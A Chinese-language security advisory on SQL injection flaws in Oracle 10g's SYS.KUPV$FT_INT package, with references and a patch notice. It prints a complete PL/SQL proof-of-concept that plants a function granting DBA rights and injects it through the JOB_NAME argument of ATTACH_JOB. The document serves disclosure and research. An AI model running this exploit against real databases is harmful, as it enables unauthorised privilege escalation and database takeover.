安全研究

安全漏洞
Oracle SYS.KUPV$FT_INT软件包SQL注入漏洞

发布日期:2006-01-17
更新日期:2006-02-07

受影响系统:
Oracle 10g Release 1
描述:
BUGTRAQ  ID: 16294

Oracle Database是一款商业性质大型数据库系统。

Oracle SYS.KUPV$FT_INT软件包的UPDATE_JOB、ACTIVE_JOB、ATTACH_POSSIBLE、ATTACH_TO_JOB、CREATE_NEW_JOB、DELETE_JOB、DELETE_MASTER_TABLE、DETACH_JOB、GET_JOB_INFO、GET_JOB_QUEUES、GET_SOLE_JOBNAME、MASTER_TBL_LOCK、VALID_HANDLE函数中存在16个SQL注入漏洞,成功利用这些漏洞的远程攻击者可以完全入侵受影响的数据库系统。

<*来源:Alexander Kornbrust (ak@red-database-security.com
  
  链接:http://www.red-database-security.com/advisory/oracle_sql_injection_kupv$ft_int.html
        http://www.us-cert.gov/cas/techalerts/TA06-018A.html
        http://www.oracle.com/technology/deploy/security/pdf/cpujan2006.html?_template=/ocom/technology/cont
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/**
* Exploit for Oracle10g R1 and R2 prior to CPU Oct 2006
* Joxean Koret <joxeankoret@yahoo.es>
* Privileges needed:
*
* - EXECUTE_CATALOG_ROLE
* - CREATE PROCEDURE
*
*/
select *
from user_role_privs
;

CREATE OR REPLACE FUNCTION F1
RETURN NUMBER AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO TEST';
COMMIT;
RETURN(1);
END;
/

DECLARE
USER_NAME VARCHAR2(200);
JOB_NAME VARCHAR2(200);
NEW_JOB BOOLEAN;
v_Return NUMBER;
BEGIN
USER_NAME := 'OWNER';
JOB_NAME := ''' OR ' || USER || '.f1() = 1--';

v_Return := SYS.KUPV$FT.ATTACH_JOB(
USER_NAME => USER_NAME,
JOB_NAME => JOB_NAME,
NEW_JOB => NEW_JOB
);
END;
/

建议:
厂商补丁:

Oracle
------
Oracle已经为此发布了一个安全公告(cpujan2006)以及相应补丁:
cpujan2006:Oracle Critical Patch Update - January 2006
链接:http://www.oracle.com/technology/deploy/security/pdf/cpujan2006.html?_template=/ocom/technology/cont

浏览次数:4137
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障